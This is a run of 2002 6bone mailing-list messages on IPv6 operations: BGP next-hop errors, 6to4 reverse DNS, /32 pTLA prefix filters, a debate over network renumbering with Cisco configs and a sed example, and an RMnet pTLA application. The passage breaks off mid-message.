>
> --
> Jan Oravec
> project coordinator
> XS26 - 'Access to IPv6'
> http://www.xs26.net
> jan.oravec@xs26.net
>



From 6bone-owner  Tue Apr  2 23:08:19 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Ethern Lin <mclin@sinica.edu.tw>
Cc: 6bone@ISI.EDU, pekkas@netcore.fi
Subject: Re: IOS next-hop trouble
Message-ID: <20020403070812.GB2724@bfib.colo.bit.nl>
References: <20020329064009.GA17100@bfib.colo.bit.nl> <Pine.LNX.4.44.0203291037250.31129-100000@netcore.fi> <20020402101450.GA30019@hades.xs26.net> <00cd01c1da4b$4d704410$b8016d8c@sinica.edu.tw>
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On Tue, Apr 02, 2002 at 09:35:39PM +0800, Ethern Lin wrote:
| Dear Pekka,
| 
| I have an dirty method to solve this. You can use route-map in
| BGP route out.  Like below:
| 
| neighbor 2001:7F8:1::A500:3265:2 route-map ToAMXIX out
| 
| route-map ToAMXIX permit 10
|  set ip next-hop ##your router ipv4 ip##
| !
| 
| Maybe work in your system.
Ethern,

Thans for the remark, however I do not think it helps much. It is not
the Cisco who is announcing 0.0.0.0 as nexthop, but the Juniper. So in
fact, the correct thing would be that AS3265 fixes his sessions with 
others to announce no-nexthop for IPv4 (or his shared medium address if 
that fails).

I spoke with Juniper folk at a meeting yesterday and it has been fixed
in 5.2, which the above 2001:7F8:1::A500:3265:1 router does not run
(yet).

I am closing this matter as it appears to be a known bug.

groet,
Pim

| 
| cheers,
| 
| Ethern
| 
| 
| ----- Original Message -----
| From: "Jan Oravec" <wsx@wsx6.net>
| To: "Pekka Savola" <pekkas@netcore.fi>
| Cc: <6bone@ISI.EDU>
| Sent: Tuesday, April 02, 2002 6:14 PM
| Subject: Re: IOS next-hop trouble
| 
| 
| > On Fri, Mar 29, 2002 at 10:38:28AM +0200, Pekka Savola wrote:
| > > On Fri, 29 Mar 2002, Pim van Pelt wrote:
| > > > Dear admin friends,
| > > >
| > > > Recently I engaged in another IPv6 adventure at some ISP. We are now
| > > > running IOS 12.2-8.5.T on a c7206VXR.
| > > >
| > > > The logs state:
| > > > Mar 28 22:47:36 fe2-0.4.sara.ams-ix.network.bit.nl 2288: 3d12h:
| > > > %BGP-6-NEXTHOP: Invalid next hop (0.0.0.0) received from
| > > > 2001:7F8:1::A500:3265:1: martian next hop
| > > >
| > > > for our peerings the AMS-IX. How can I solve this. Clearly IPv6
| > > > BGP has nothing to do with the IPv4 nexthop so the Juniper at :3265:1
| > > > leaves it empty. Why does my box complain ?
| > >
| > > Are you peering with some box running Zebra?  I noticed this happened
| with
| > > zebra when they didn't run 'zebra -d' before starting 'bgpd -d'.
| >
| > The bug has been fixed several months ago. zebra-xs26
| (http://www.xs26.net/zebra) has bugfix included, I believe Kunihiro applied
| the patch to official zebra CVS.
| >
| > --
| > Jan Oravec
| > project coordinator
| > XS26 - 'Access to IPv6'
| > http://www.xs26.net
| > jan.oravec@xs26.net
| >
| 

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Wed Apr  3 17:21:32 2002
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To: 6bone@ISI.EDU
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Subject: IPv6 BGP Perspectve
From: Hideaki Imaizumi <hiddy@sfc.wide.ad.jp>
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Hi folks,

This site is still under construct but I hope this would 
be usesul for you. 
http://www.ep.net/bgp-ipv6

'http://www.ep.net/ipv6bgp' will be removed.

best regards,
Hideaki Imaizumi

From: Bill Manning <bmanning@ISI.EDU>
Subject: rough cut
Date: Mon, 1 Apr 2002 15:17:45 -0800 (PST)
Message-ID: <200204012317.g31NHj817074@boreas.isi.edu>

bmanning>  Thanks to Hideaki Imaizumi < hiddy@ISI.EDU > we have the start of something 
bmanning> that might be useful over time.
bmanning> 
bmanning> 
bmanning> http://www.ep.net/ipv6bgp/prefix6.html
bmanning> 
bmanning> 
bmanning> comments please.
bmanning> 
bmanning> -- 
bmanning> "When in doubt, Twirl..."  -anon
bmanning> 

From 6bone-owner  Thu Apr  4 13:29:27 2002
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From: Antonio Querubin <tony@lava.net>
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For those of you who have successfully acquired production IPv6 address
space from ARIN, could you contact me off-list please?  I'd like to get an
idea of what others have produced to satisfy ARIN's requirement for a
deployment or engineering plan.


From 6bone-owner  Thu Apr  4 14:04:13 2002
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Subject: Who is in charge of the 2002::/16 reverse DNS ?
Date: Fri, 5 Apr 2002 08:05:48 +1000
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Does one apply for reverse mapping somewhere - is it just "done"? - is it not official yet? - is the 2002 just
temporary?

I'm probably not close to being ready to go official yet, but soon, and a person who has been very kind in helping me
out, advises me of the following;

>By the way, I have no idea who is in charge of the 2002::/16 reverse
>DNS, but you probably do want to get all of
>0.6.1.0.b.c.2.0.0.2.ip6.{int,arpa} delegated to your servers (that
>would correspond to your IPv4 203.1.96.0/24).

Can someone who knows how all this works together take a moment to advise me please?

Thank you
Robert Chalmers
Quantum Radio

---
Quantum Radio: World Music with a difference.
http://quantum-radio.net/
Now Playing: Duc Tranh - Cay Truc Xinh




From 6bone-owner  Thu Apr  4 20:30:27 2002
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	are there any minutes/memo/whatever available for IETF53 6bone meeting?
	i was unable to participate due to conflicting meeting.

itojun

From 6bone-owner  Thu Apr  4 22:27:18 2002
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Date: Fri, 5 Apr 2002 08:27:02 +0200 
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remove

From 6bone-owner  Thu Apr  4 23:59:55 2002
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Date: Fri, 5 Apr 2002 10:59:14 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: Merlin <robert@quantum-radio.net.au>
cc: 6bone <6bone@ISI.EDU>
Subject: Re: Who is in charge of the 2002::/16 reverse DNS ?
In-Reply-To: <00c801c1dc24$e3239d60$1a6001cb@chalmers.com.au>
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On Fri, 5 Apr 2002, Merlin wrote:
> Does one apply for reverse mapping somewhere - is it just "done"? - is it not official yet? - is the 2002 just
> temporary?
> 
> I'm probably not close to being ready to go official yet, but soon, and a person who has been very kind in helping me
> out, advises me of the following;
> 
> >By the way, I have no idea who is in charge of the 2002::/16 reverse
> >DNS, but you probably do want to get all of
> >0.6.1.0.b.c.2.0.0.2.ip6.{int,arpa} delegated to your servers (that
> >would correspond to your IPv4 203.1.96.0/24).
> 
> Can someone who knows how all this works together take a moment to advise me please?

This is still an open issue.  See:

http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-6to4-dns-00.txt

and e.g. dnsext minutes/presentations for IETF53.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


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To: "'Pekka Savola'" <pekkas@netcore.fi>,
        "'Merlin'" <robert@quantum-radio.net.au>
Cc: "'6bone'" <6bone@ISI.EDU>
Subject: RE: Who is in charge of the 2002::/16 reverse DNS ?
Date: Fri, 5 Apr 2002 12:50:28 +0200
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Pekka Savola wrote:
> On Fri, 5 Apr 2002, Merlin wrote:
> > Does one apply for reverse mapping somewhere - is it just "done"? -
is it not official yet? - is the 2002 just
> > temporary?
> > 
> > I'm probably not close to being ready to go official yet, 
> but soon, and a person who has been very kind in helping me
> > out, advises me of the following;
> > 
> > >By the way, I have no idea who is in charge of the 2002::/16
reverse
> > >DNS, but you probably do want to get all of
> > >0.6.1.0.b.c.2.0.0.2.ip6.{int,arpa} delegated to your servers (that
> > >would correspond to your IPv4 203.1.96.0/24).
> > 
> > Can someone who knows how all this works together take a moment to
advise me please?
> 
> This is still an open issue.  See:
> 
> http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-6to4-dns-00.txt
>
>and e.g. dnsext minutes/presentations for IETF53.

Also 6to4 is a _transistion_ method... so I wonder why somebody wants to
get their company/organisation relying on something that will go away in
the long run, which could take it's time ofcourse.
You'd still be better off getting some real IPv6 space from your
upstreams.
6to4 is perfect though, for the time when your upstreams are still in
neverneverland ;)
And renumbering a network with IPv6 is a piece of cake, but why make the
effort for reversing 6to4 then in the first place.

Greets,
 Jeroen


From 6bone-owner  Fri Apr  5 06:35:30 2002
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Date: Fri, 05 Apr 2002 06:35:15 -0800
To: itojun@iijlab.net, 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: Re: 6bone meeting @ IETF53
In-Reply-To: <3077.1017981026@itojun.org>
References: <michel's message of Sun, 17 Mar 2002 15:40:52 PST. <2B81403386729140A3A899A8B39B046406C44C@server2000.arneill-py.sacramento.ca.us>
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Itojun,

At 01:30 PM 4/5/2002 +0900, itojun@iijlab.net wrote:
>         are there any minutes/memo/whatever available for IETF53 6bone 
> meeting?
>         i was unable to participate due to conflicting meeting.

I was just getting to them.  I have placed the 3 presentations and a 
"shell" minutes online at:

<http://www.6bone.net/ngtrans/minutes/default.htm>

and will fill in the minutes with comments from my discussion next week 
sometime.


Thanks for bugging me. My new home is back under construction as the 
weather has changed to springtime, so I'm busy working on it (more fun than 
work work :-)

Bob


From 6bone-owner  Fri Apr  5 08:00:32 2002
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Subject: RE: Who is in charge of the 2002::/16 reverse DNS ?
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Jeroen Massar" <jeroen@unfix.org>, "Pekka Savola" <pekkas@netcore.fi>,
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Jeroen,

> Jeroen Massar wrote:
> Also 6to4 is a _transistion_ method... so I wonder why
> somebody wants to get their company/organisation relying
> on something that will go away in the long run, which could
> take it's time ofcourse.

The time frame we are looking at here is ten years or more, so it is perfectly legitimate to want reverse lookup for 6to4 addresses for the time being.


> You'd still be better off getting some real IPv6 space from
> your upstreams.

Yes, but sometimes, it is not available. Most of the time, these days. It is sad to say, bit in terms of performance 6to4 is better than regular tunnels and will be used because of this.


> And renumbering a network with IPv6 is a piece of cake

This is simply not true. In the 6bone meeting in Minneapolis, the renumbering of /24 and /28 pTLAs was discussed, and several people contributed that renumbering anything bigger that a dial-up connection is not a piece of cake.

Michel

From 6bone-owner  Fri Apr  5 09:31:50 2002
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From: "Nicolas DEFFAYET" <nicolas.deffayet-extml@ndsoftwaregroup.com>
To: "Mailing-List 6bone" <6bone@ISI.EDU>
Subject: New pTLA /32 and prefix-list
Date: Fri, 5 Apr 2002 19:30:36 +0200
Organization: NDSoftware Group
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Hello all,

I remind you: new pTLA are now /32 in 3ffe:4000::/18 (check mailing-list
archives for more informations about this).

Many peoples have forgot the creation of this new pTLA format (/32) for
all new pTLA request and don't have updated the prefix-list of their
routers because new pTLAs (TELEPAC and ANSNET for the moment) aren't
annonced and/or accessible on a lot of of network...

TELEPAC don't annonce their pTLA but ASNET annonce it in good conditions
from external.
I have do all my tests with ANSNET's pTLA (3ffe:4001::/32)

parcr2.fr.fastnetxp.net> traceroute6 3ffe:4001::
traceroute6 to 3ffe:4001:: (3ffe:4001::) from 3ffe:8271:201:2100::2, 30
hops max, 12 byte packets
 1  tun100-0-parcr1  81.213 ms  70.85 ms  76.991 ms
 2  lavanet-gw-parcr1  351.365 ms  400.334 ms  327.774 ms
 3  * * *
 4  * * *
parcr2.fr.fastnetxp.net> show ipv6 3ffe:4001::/32

<cut other neighbors of this second router>

  6435 9264
    3ffe:8271:201:2100::1 from 3ffe:8271:201:2100::1 (213.91.4.3)
    (fe80::d55b:403)
      Origin IGP, localpref 100, valid, internal, best
      Last update: Thu Apr  4 23:46:00 2002
parcr2.fr.fastnetxp.net> 

I have try many public traceroute6 gateway and looking-glass, a lot of
people have the same problem.
Don't forget to update your access-list if you filter bgp routes !!!

You can use this prefix-list for accept only valid pTLA, subTLA and
6to4:

!
ipv6 prefix-list peering-full-in permit 3ffe::/18 ge 24 le 24
ipv6 prefix-list peering-full-in permit 3ffe:4000::/18 ge 32 le 32
ipv6 prefix-list peering-full-in permit 3ffe:8000::/17 ge 28 le 28
ipv6 prefix-list peering-full-in permit 2001::/16 ge 35 le 35
ipv6 prefix-list peering-full-in permit 2002::/16
ipv6 prefix-list peering-full-in deny 0::/0
!

Personnal stats:

On 26 full bgp peering on parcr1.fr.fastnetxp.net:
14 peers (50%) annonces me the new (/32) pTLA !
26 peers (100%) annonces me the old (/24 and /28) pTLA
And a annonces can be good but a router after can filter...

I wait your comments....

Think to new pTLA !


Best Regards,

Nicolas DEFFAYET


From 6bone-owner  Fri Apr  5 16:20:16 2002
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Subject: RE: Who is in charge of the 2002::/16 reverse DNS ?
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Michel Py [mailto:michel@arneill-py.sacramento.ca.us] wrote:

> > Jeroen Massar wrote:
> > Also 6to4 is a _transistion_ method... so I wonder why
> > somebody wants to get their company/organisation relying
> > on something that will go away in the long run, which could
> > take it's time ofcourse.
> 
> The time frame we are looking at here is ten years or more, 
> so it is perfectly legitimate to want reverse lookup for 6to4 
> addresses for the time being.
"which could take it's time ofcourse." and which unfortunaly will be in
the range 10 year period you mention :(
Ofcourse it's perfectly 'legit' to have reverse lookup, it's even quite
overseeable most of the time as IPv4 ranges
can be whoised and are known where the end up at.

> > You'd still be better off getting some real IPv6 space from
> > your upstreams.
> 
> Yes, but sometimes, it is not available. Most of the time, 
> these days. It is sad to say, bit in terms of performance 
> 6to4 is better than regular tunnels and will be used because of this.
That's why it's one of the available transition methods.
But IMHO *any* transition method should be avoided as much as possible.
If it ain't possible too bad, use your favourite and possible transition
method, but if you can get a native uplink... why not ?

> > And renumbering a network with IPv6 is a piece of cake
> 
> This is simply not true. In the 6bone meeting in Minneapolis, 
> the renumbering of /24 and /28 pTLAs was discussed, and 
> several people contributed that renumbering anything bigger 
> that a dial-up connection is not a piece of cake.

Ofcourse if one sizes down renumbering isn't easy...
But if you move from one /48 to another /48 it should be a piece of
cake.
The AMS-IX did it perfectly well last weeks.
First the routers on where in 3FFE:3000::/64 (out of the /48) now they
have moved to 2001:07F8:1::/64 (out of the /48).

eg: 3ffe:3000::a500:8954:1 became 2001:7f8:1::a500:8954:1

And one can do that with almost a flip of the switch.
It ofcourse comes down to a good numberplan and if one needs to scale
down (/24 to /28)
the numberplan shouldn't be completely filled up ofcourse, though
sometimes that is quite
unavoidable and indeed one will have a hard time sizing down.
At least in theory it all should be much easier as IPv4 though.

Don't know if there is something like this but maybe it's a good idea to
create a document setting
up some of the currently known scenario's which explain which problems
can occur when renumbering.
And ofcourse include a solution which explains how to avoid these
problems.

I only wanted to state the "if possible use native IPv6, not one of the
transistional methods" ;)

Greets,
 Jeroen


From 6bone-owner  Fri Apr  5 18:30:30 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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Jeroen,

> Jeroen Massar wrote:
> And one can do that with almost a flip of the switch.

You have to explain me how you do that. I just looked at my home router
and a single /48 block appears nine times in the config and related info
such as tunnel addresses appears eight more times, so a total of
_seventeen_ occurrences of addresses related to _one_ of my pTLAs, and
again this is my home router with only one subnet, not a production one
with long access-lists, DMZs and other stuff. 

What kind of software is it that can read a config, inventory what needs
to be changed, change it, and not screw the pooch?

    | interface Loopback4046
    |  description loopback for viagenie block
 1  |  ipv6 address 3FFE:B00:4046::1/64
    |
    | interface Ethernet0/1
    |  description Internal network
 2  |  ipv6 address 3FFE:B00:4046:1::1/64
 3  |  ipv6 nd prefix-advertisement 3FFE:B00:4046:1::/64 3600 3600
    |
    | router bgp 23169
 4  |  network 3FFE:B00:4046::/64
 5  |  network 3FFE:B00:4046:1::/64
 6  |  aggregate-address 3FFE:B00:4046::/48
    |
 7  | ipv6 access-list IPV6-ACL-OUTSIDE-IN permit any 3FFE:B00:4046::/48
    |
    | ipv6 prefix-list IPV6-PREFIX-LIST-VIAGENIE-BLOCK seq 5 permit
 8  | 3FFE:B00:4046::/48
    |
    | arneill-py.sacramento.ca.us - 209.233.126.65 - ASN 23169
 9  | 3FFE:B00:4046::1 - 3ffe:8270:5::1 - 2002:D1E9:7E41::1
    |
    | interface Tunnel4046
 10 |  description tunnel to Viagenie - endpoint 3ffe:b00:c18::8c
 11 |  ipv6 address 3FFE:B00:C18::8D/127
    |
    | router bgp 23169
 12 | neighbor 3FFE:B00:C18::8C remote-as 10566
 13 |  neighbor 3FFE:B00:C18::8C ebgp-multihop 99
 14 |  neighbor 3FFE:B00:C18::8C update-source Tunnel4046
    | address-family ipv6
 15 |  neighbor 3FFE:B00:C18::8C activate
 16 |  neighbor 3FFE:B00:C18::8C route-map ROUTE-MAP-VIAGENIE-OUT out
    |
 17 | ipv6 access-list IPV6-ACL-OUTSIDE-IN permit any
3FFE:B00:C18::8D/128


> I only wanted to state the "if possible use native IPv6, not
> one of the transitional methods" ;)

Agree!

Michel.

From 6bone-owner  Fri Apr  5 23:25:03 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Jeroen Massar <jeroen@unfix.org>
Cc: "'Michel Py'" <michel@arneill-py.sacramento.ca.us>,
        "'6bone'" <6bone@ISI.EDU>
Subject: Re: Who is in charge of the 2002::/16 reverse DNS ?
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Jeroen,
| Ofcourse if one sizes down renumbering isn't easy...
| But if you move from one /48 to another /48 it should be a piece of
| cake. The AMS-IX did it perfectly well last weeks.
| First the routers on where in 3FFE:3000::/64 (out of the /48) now they
| have moved to 2001:07F8:1::/64 (out of the /48).
| 
| eg: 3ffe:3000::a500:8954:1 became 2001:7f8:1::a500:8954:1

The AMS-IX did not do such a great job on this. We were requested to
renumber one (1) shared medium /64. To date, still several members have
not renumberd theirs, some have. This is because we now run two prefixes
for the time being on the AMS-IX.

The renumbering aspect also takes with it the DNS aspect, and equally so
I do not see things resolving yet. The delegation of the new
2001:7f8:1::/48 prefix has to be dealt with at RIPE and the AMS-IX site.

Apart from that, you are missing the point that having a native uplink to
your ISP/IX is also "a transition mechanism". And, I might add, one that
only a small percentage of network operators has. The others have to do
with 6to4 and 6in4 and perhaps nat/pt.

groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Fri Apr  5 23:32:18 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Nicolas DEFFAYET <nicolas.deffayet-extml@ndsoftwaregroup.com>
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Subject: Re: New pTLA /32 and prefix-list
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On Fri, Apr 05, 2002 at 07:30:36PM +0200, Nicolas DEFFAYET wrote:
| Hello all,
| 
| I remind you: new pTLA are now /32 in 3ffe:4000::/18 (check mailing-list
| archives for more informations about this).
Nicolas,

Thanks for the reminder. My site indeed still has quite some anal
filtering. This is because in the IPv6 world you cannot trust your peers 
that much and requesting changes in their configuration sometimes meet
non-existing tech-c handles (bouncing mail) and 2 month delays.

I have updated my filters at AS8954 and AS12859 though and now see the
32 bit pTLAs.

groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Sat Apr  6 04:46:27 2002
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To: "'Michel Py'" <michel@arneill-py.sacramento.ca.us>
Cc: "'6bone'" <6bone@ISI.EDU>
Subject: RE: (6bone) renumbering
Date: Sat, 6 Apr 2002 14:46:13 +0200
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Michel Py [mailto:michel@arneill-py.sacramento.ca.us] wrote:

> Jeroen,
> 
> > Jeroen Massar wrote:
> > And one can do that with almost a flip of the switch.
> 
> You have to explain me how you do that. I just looked at my home
router
> and a single /48 block appears nine times in the config and related
info
> such as tunnel addresses appears eight more times, so a total of
> _seventeen_ occurrences of addresses related to _one_ of my pTLAs, and
> again this is my home router with only one subnet, not a 
> production one with long access-lists, DMZs and other stuff. 
> 
> What kind of software is it that can read a config, inventory what
needs
> to be changed, change it, and not screw the pooch?
> 
>     | interface Loopback4046
>     |  description loopback for viagenie block
>  1  |  ipv6 address 3FFE:B00:4046::1/64
>     |
>     | interface Ethernet0/1
>     |  description Internal network
>  2  |  ipv6 address 3FFE:B00:4046:1::1/64
>  3  |  ipv6 nd prefix-advertisement 3FFE:B00:4046:1::/64 3600 3600
>     |
>     | router bgp 23169
>  4  |  network 3FFE:B00:4046::/64
>  5  |  network 3FFE:B00:4046:1::/64
>  6  |  aggregate-address 3FFE:B00:4046::/48
>     |
>  7  | ipv6 access-list IPV6-ACL-OUTSIDE-IN permit any
3FFE:B00:4046::/48
>     |
>     | ipv6 prefix-list IPV6-PREFIX-LIST-VIAGENIE-BLOCK seq 5 permit
>  8  | 3FFE:B00:4046::/48
>     |
>     | arneill-py.sacramento.ca.us - 209.233.126.65 - ASN 23169
>  9  | 3FFE:B00:4046::1 - 3ffe:8270:5::1 - 2002:D1E9:7E41::1
>     |
>     | interface Tunnel4046
>  10 |  description tunnel to Viagenie - endpoint 3ffe:b00:c18::8c
>  11 |  ipv6 address 3FFE:B00:C18::8D/127
>     |
>     | router bgp 23169
>  12 | neighbor 3FFE:B00:C18::8C remote-as 10566
>  13 |  neighbor 3FFE:B00:C18::8C ebgp-multihop 99
>  14 |  neighbor 3FFE:B00:C18::8C update-source Tunnel4046
>     | address-family ipv6
>  15 |  neighbor 3FFE:B00:C18::8C activate
>  16 |  neighbor 3FFE:B00:C18::8C route-map ROUTE-MAP-VIAGENIE-OUT out
>     |
>  17 | ipv6 access-list IPV6-ACL-OUTSIDE-IN permit any
3FFE:B00:C18::8D/128

Let's say you wanted, for one reason or another, change over to 6to4 and
have your router at IPv4: 10.100.13.42:

The router:
get config etc. dump it into file 'router.conf'
cat router.conf | sed "s/3FFE:B00:4046/2002:0A64:0D2A:/g"
>new-router.conf
upload the config, restart/reload/reboot it, done.

You do have to update your tunnel to replace it with a 6to4 instance now
though, but "s/3FFE:B00:C18::8C/<new>/g" fixes that for you.
If you had more routers, those routers are very probably 'under' your
main router, receiving routeadverts, which they should pick up.
Otherwise repeat over for the other routers.

The DNS:
Same as the router, dump config and use sed or similar tool to replace
the old subnet with the new one.
A6 records are great for this ofcourse you'll only have to change them
at one place.
The longest time taken will probably be the negotation with your
upstreams for the new address space and ofcourse the reverse
delegations.

I heared some companies keep their routerconfigs in CVS, they are thus
also probably in a state where they can replace their whole config
in one go, issue a upload on all routers et voila.

Ofcourse this all takes into consideration that you don't downsize your
address space, if you do you'd prolly need a completely new numberplan.
In your case you could also do an extra 'sed "s/48/60/g"' which will
downsize you from that huge /48 to a /60 :)
But that's because you are at the 'bottom' (3ffe:b00:4096:0:0:0:0...) of
the address space.

It all boils down how one manages things;

In my case I would have to replace the entries in the dns, update my
tunnel config (nopes no native _yet_ :( here), restart the router
adverts, done.
All the boxes down the trail will eventually pick up the announcements,
deprecate the old prefix and start using the new one.

I know this little story is taken from a very simple case but IMHO it
eventually all boils down on how one manages things, doing a good job in
the first
place makes sure one doesn't have to handle those problems any later on.

Maybe that's why there should be a nice document explaining _all_ the
boobytraps we can come up with.
I very probably missed out a load of them, so call me names and bring
them on. Better find them, document and supply alternatives/fixes now
than
get them right in the face when you come accross them and really need to
renumber. Who can come up with a _big_ case with loads of problems
ofcourse.

One thing which I still haven't seen for example is the 'server' case.
If one does it the 'nice' way and want to use EUI-64 addressing, thus
using the
router adverts to find out and configure there prefix, there is always a
possibility of a NIC going down, hardware breaking etc.
You could ofcourse configure your NIC's MAC address to have a certain
ID, most NIC's can do that anyways.
But it would be very nice if one could instruct the networking layer of
the OS to tell it "use this as an extra EUI-64 id",
which could save up on downtime as now when one box goes down you ssh
into the other, tell it to use the known EUI-64 id and the server is up
again.
One could ofcourse automate this etc. I did say 'extra EUI-64 id', this
so you can always use the boxes real EUI-64 address to gain access to
it.
Otherwise you can't reach it if your webserver comes back online again
;)

Greets,
 Jeroen


From 6bone-owner  Sat Apr  6 14:52:01 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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Jeroen,

> The router:
> get config etc. dump it into file 'router.conf'
> cat router.conf | sed "s/3FFE:B00:4046/2002:0A64:0D2A:/g"
>new-router.conf
> upload the config, restart/reload/reboot it, done.

There are many traps in doing that kind of thing.

1. On a reasonably complex setup, there will always be some stuff that
you don't want to renumber today, but tomorrow. Automatic replacement
does not work there.
2. If for some reason the device displays "3FFE:0B00:4046" instead of
"3FFE:B00:4046" you are screwed.

There are other issues such as servers configured with a static IP,
bozos that insist on using the IP when they could have used the domain
name, and so on.
This is not "almost the push of a button".

Besides, the main problem in renumbering is not dealing with your own
setup, but dealing with all the third-party entities that connect to you
using a hard-coded IP address in a zillion different places, such as
static tunnels, access-lists, route-maps, distribute-lists, IPSEC
tunnels, the list is endless. If you depend on these third parties for
running a business (they could be suppliers, customers, etc) you have an
organizational nightmare.

Michel.


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remove



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6bone£¬ÄúºÃ£¡

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Date: Tue, 09 Apr 2002 09:57:27 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for RMNET - review closes 23 April 2002
Cc: "Stefano Rotellini - RMnet" <s.rotellini@rmnet.it>
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6bone Folk,

RMNET has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 23 April 
2002. Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?RMNET>

<http://www.ipv6.rmnet.it>
<http://www.rmnet.it>

Thanks,

Bob

===
>Date: Tue, 9 Apr 2002 06:05:56 +0200 (CEST)
>Subject: pTLA request for RMnet (AS12533)
>From: "Stefano Rotellini - RMnet" <s.rotellini@rmnet.it>
>To: <fink@es.net>
>
>Hi Bob and 6bone members,
>On behalf of RMnet, I would like to submit our application for a pTLA.
>
>    >1. The pTLA Applicant must have a minimum of three (3) months
>    >   qualifying experience as a 6Bone end-site or pNLA transit.
>
>We are connected to the 6bone since December 2001 with a /48 from VIAGENIE.
>
>    >During the entire qualifying period the Applicant must be operationally
>    >providing the following:
>
>    >a. Fully maintained, up to date, 6Bone Registry entries for their
>    >ipv6-site inet6num, mntner, and person objects, including each
>    >tunnel that the Applicant has.
>
>Our records on the 6bone database are up to date.
>http://whois.6bone.net/cgi-bin/whois?rmnet-mnt
>http://whois.6bone.net/cgi-bin/whois?rmnet
>
>    >b. Fully maintained, and reliable, BGP4+ peering and connectivity
>    >between the Applicant's boundary router and the appropriate
>    >connection point into the 6Bone. This router must be IPv6
>    >pingable. This criteria is judged by members of the 6Bone
>    >Operations Group at the time of the Applicant's pTLA request.
>
>We have currently 3 BGP4+ peering sessions (CSELT, FASTNETXP and
>EURNETCITY) on
>a Cisco 2621 running IOS 12.2.8T.
>
>    >c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>    >entries for the Applicant's router(s) and at least one host
>    >system.
>
>Primary DNS server  : eurnet.rmnet.it  - 3ffe:b80:73c:1::1
>Secondary DNS server: saguaro.rmnet.it - 3ffe:b80:7e0:1::1
>
>    >d. A fully maintained, and reliable, IPv6-accessible system
>    >providing, at a mimimum, one or more web pages, describing the
>    >Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>IPv6 Web server is at: http://www.ipv6.rmnet.it and is pingable
>
>    >2. The pTLA Applicant MUST have the ability and intent to provide
>    >   "production-quality" 6Bone backbone service. Applicants must
>    >   provide a statement and information in support of this claim.
>    >   This MUST include the following:
>    >
>    >   a. A support staff of two persons minimum, three preferable, with
>    >      person attributes registered for each in the ipv6-site object
>    >      for the pTLA applicant.
>
>We have a mail entry to the group of technical people at: ipv6@rmnet.it
>Tech persons on charge of IPv6 support are:
>http://whois.6bone.net/cgi-bin/whois?AR4-6BONE
>http://whois.6bone.net/cgi-bin/whois?EB2-6BONE
>
>    >   b. A common mailbox for support contact purposes that all support
>    >      staff have acess to, pointed to with a notify attribute in the
>    >      ipv6-site object for the pTLA Applicant.
>
>The staff has access to the common mailbox: ipv6@rmnet.it
>
>    >3. The pTLA Applicant MUST have a potential "user community" that
>    >   would be served by its becoming a pTLA, e.g., the Applicant is a
>    >   major provider of Internet service in a region, country, or focus
>    >   of interest. Applicant must provide a statement and information in
>    >   support this claim.
>
>RMnet Srl is a regional ISP located in Rome, Italy and is serving the
>Internet
>community since 1985.
>We are actually offering our commercial services through PSTN and ISDN
>dialup,
>dedicated lines, ADSL lines and we are testing 802.11 Wireless
>connectivity.
>Our users base is about 7.500 home-users and 1.000 enterprises.
>
>    >4. The pTLA Applicant MUST commit to abide by the current 6Bone
>    >   operational rules and policies as they exist at time of its
>    >   application, and agree to abide by future 6Bone backbone
>    >   operational rules and policies as they evolve by consensus of the
>    >   6Bone backbone and user community.
>
>We fully agree to all current and future operational rules and policies.
>
>    >When an Applicant seeks to receive a pTLA allocation, it will apply
>    >to the 6Bone Operations Group (see section 8 below) by providing to
>    >the Group information in support of its claims that it meets the
>    >criteria above.
>
>
>Best regards,
>--
># Stefano Rotellini
># RMnet IP Network Management
># SR397-RIPE



From 6bone-owner  Tue Apr  9 13:07:33 2002
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Date: Tue, 9 Apr 2002 23:06:59 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: Bob Fink <fink@es.net>
cc: 6BONE List <6bone@ISI.EDU>,
        Stefano Rotellini - RMnet <s.rotellini@rmnet.it>
Subject: Re: pTLA request for RMNET - review closes 23 April 2002
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Hello all,

The application looks ok, I'll just want to point out something that may 
be worth discussing on a more global scale:

> >    >1. The pTLA Applicant must have a minimum of three (3) months
> >    >   qualifying experience as a 6Bone end-site or pNLA transit.
> >
> >We are connected to the 6bone since December 2001 with a /48 from VIAGENIE.

An ISP from Italy has a tunnel and address block from VIAGENIE in Canada.

Is it just me or does there seem to be something really wrong here?

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Tue Apr  9 13:07:44 2002
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Date: Tue, 9 Apr 2002 23:07:37 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: 6BONE List <6bone@ISI.EDU>
Subject: RFC: Don't use /127 as P-t-P prefix length?
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Hello,

I presented very quickly my draft:

http://www.ietf.org/internet-drafts/draft-savola-ipv6-127-prefixlen-01.txt

at 6bone meeting at IETF53:

http://www.6bone.net/ngtrans/minutes/default.htm


There was basically zero time for discussion so I was asked to take this 
to the mailing list.

This is an operational problem, and the workaround or the fix (however you 
